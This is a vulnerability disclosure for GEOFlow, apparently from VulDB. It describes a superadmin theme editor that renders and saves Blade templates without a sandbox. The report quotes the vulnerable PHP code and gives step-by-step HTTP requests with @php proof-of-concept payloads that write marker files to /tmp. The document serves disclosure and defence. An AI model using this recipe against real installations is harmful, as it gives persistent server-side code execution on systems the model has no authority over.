Submit #893854: yaojingang GEOFlow commit/2aeec4f449c9fa6790392723150c9151b6a4a337 Code Injection

## Superadmin Theme Editor Blade Execution

### Root Cause

This is a post-auth execution sink. The theme editor is limited to superadmins, but once an attacker reaches a superadmin session, the backend directly executes attacker-controlled Blade during preview and can persist attacker-controlled Blade into real theme files during publish.

Relevant code path:

```php
// app/Http/Controllers/Admin/SiteThemeEditorController.php
private function authorizeThemeEditor(): void
{
$admin = auth('admin')->user();
abort_unless($admin instanceof Admin && $admin->isSuperAdmin(), 403);
}

public function preview(string $themeId, string $page): Response
{
$this->authorizeThemeEditor();
$source = $this->editor->source($themeId, $page);
$html = Blade::render($source['blade'], $this->previewData($page));
...
}
```

```php
// app/Services/Admin/SiteThemeEditorService.php
File::put($current['blade_path'], $blade);
File::put($current['css_path'], $css);
Artisan::call('view:clear');
```

There is no sandbox, no allowlist of safe Blade features, and no separation between editable template text and executable server-side code. Any Blade expression accepted by Blade runs with the web application's privileges.

### Trigger Flow

Attack preconditions:

- A superadmin account or a superadmin browser session.

Trigger flow:

1. Authenticate to `/geo_admin`.
2. Open `/geo_admin/site-settings/theme-editor/<themeId>/home`.
3. Submit attacker-controlled Blade to the draft or publish endpoint.
4. For preview, request `/geo_admin/site-settings/theme-editor/<themeId>/home/preview`. For persistence, publish and then request the corresponding frontend page.
5. The Blade payload executes with the PHP application's privileges.

### PoC

Validated locally on July 16, 2026 in the provided Docker lab with the active theme `toutiao-news-20260426`.

Preview execution payload:

```blade
@php
file_put_contents('/tmp/theme-preview-proof.txt', 'preview-ok');
@endphp
```

Send it to:

```text
POST /geo_admin/site-settings/theme-editor/toutiao-news-20260426/home/draft
```

Then open:

```text
GET /geo_admin/site-settings/theme-editor/toutiao-news-20260426/home/preview
```

Expected result: `/tmp/theme-preview-proof.txt` is created inside the app container.

Published execution payload:

```blade
@php
file_put_contents('/tmp/theme-publish-proof.txt', 'publish-ok');
@endphp
```

Send it to:

```text
POST /geo_admin/site-settings/theme-editor/toutiao-news-20260426/home/publish
```

Then request:

```text
GET /
```

Expected result: `/tmp/theme-publish-proof.txt` is created inside the app container. The payload persists in the real theme file until reverted.

• Quelle: ⚠️ https://github.com/yaojingang/GEOFlow/issues/60
• Benutzer: iswangxy (UID 99909)
• Einreichung: 17.07.2026 09:15 (vor 1 Monat)
• Moderieren: 30.08.2026 16:44 (1 month later)
• Status: Akzeptiert
• VulDB Eintrag: 397160 [yaojingang GEOFlow bis 2.1.0 Superadmin Theme Editor SiteThemeEditorController.php preview blade erweiterte Rechte]
• Punkte: 20